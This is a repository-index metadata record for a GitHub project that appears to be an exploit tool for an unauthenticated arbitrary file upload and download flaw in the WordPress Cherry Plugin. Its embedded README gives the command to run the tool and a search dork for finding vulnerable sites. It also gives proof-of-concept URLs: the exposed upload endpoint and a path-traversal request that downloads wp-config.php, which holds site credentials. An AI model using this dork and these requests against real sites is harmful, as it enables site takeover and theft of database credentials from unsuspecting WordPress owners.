{"id":20012912,"url":"https://github.com/inmymine7/cherry-plugin","last_synced_at":"2025-03-02T02:20:32.464Z","repository":{"id":169218181,"uuid":"643637143","full_name":"InMyMine7/Cherry-Plugin","owner":"InMyMine7","description":"The cherry plugin WordPress plugin was affected by an unauthenticated file upload and download vulnerability, allowing attackers to upload and download arbitrary files. This could result in attacker uploading backdoor shell scripts or downloading the wp-config.php file.","archived":false,"fork":false,"pushed_at":"2023-05-25T02:08:05.000Z","size":27,"stargazers_count":2,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-01-12T15:09:49.293Z","etag":null,"topics":["cherry-plugins","plugins-wordpress","worpress-plugin"],"latest_commit_sha":null,"homepage":"","language":"PHP","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/InMyMine7.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2023-05-21T19:35:53.000Z","updated_at":"2023-07-21T21:53:50.000Z","dependencies_parsed_at":null,"dependency_job_id":"962edcee-93a4-4d08-bbec-152dad7556e7","html_url":"https://github.com/InMyMine7/Cherry-Plugin","commit_stats":null,"previous_names":["inmymine7/cherry-plugin-1.2.7","inmymine7/cherry-plugin"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/InMyMine7%2FCherry-Plugin","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/InMyMine7%2FCherry-Plugin/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/InMyMine7%2FCherry-Plugin/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/InMyMine7%2FCherry-Plugin/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/InMyMine7","download_url":"https://codeload.github.com/InMyMine7/Cherry-Plugin/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":241448124,"owners_count":19964414,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cherry-plugins","plugins-wordpress","worpress-plugin"],"created_at":"2024-11-13T07:33:56.475Z","updated_at":"2025-03-02T02:20:32.426Z","avatar_url":"https://github.com/InMyMine7.png","language":"PHP","readme":"# WordPress (CMS) Cherry-Plugin Arbitrary File Upload RCE\n\nRequirement :\n- `Python 2.7.18`\n- `pip 19.2.3`\n\nHow To Usage :\n```\npython2 sxc.py\n```\nExample Dork\n```\ninurl:/wp-content/plugins/cherry-plugin/\n```\nProof of Concept\n```\nUpload: The following file was affected: https://www.example.com/wp-content/plugins/cherry-plugin/admin/import-export/upload.php\n\nDownload: https://example.com/wp-content/plugins/cherry-plugin/admin/import-export/download-content.php?file=../../../../../wp-config.php\n```\nClassification\n  `Type : UPLOAD`\n  `CWE : CWE-434`\n\n**DISCLAIMER : THIS TOOLS IS FOR EDUCATIONAL PURPOSES ONLY. \nAND WE DO NOT CONDONE ANY ILLEGAL ACTIVITIES**\n","funding_links":[],"categories":[],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Finmymine7%2Fcherry-plugin","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Finmymine7%2Fcherry-plugin","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Finmymine7%2Fcherry-plugin/lists"}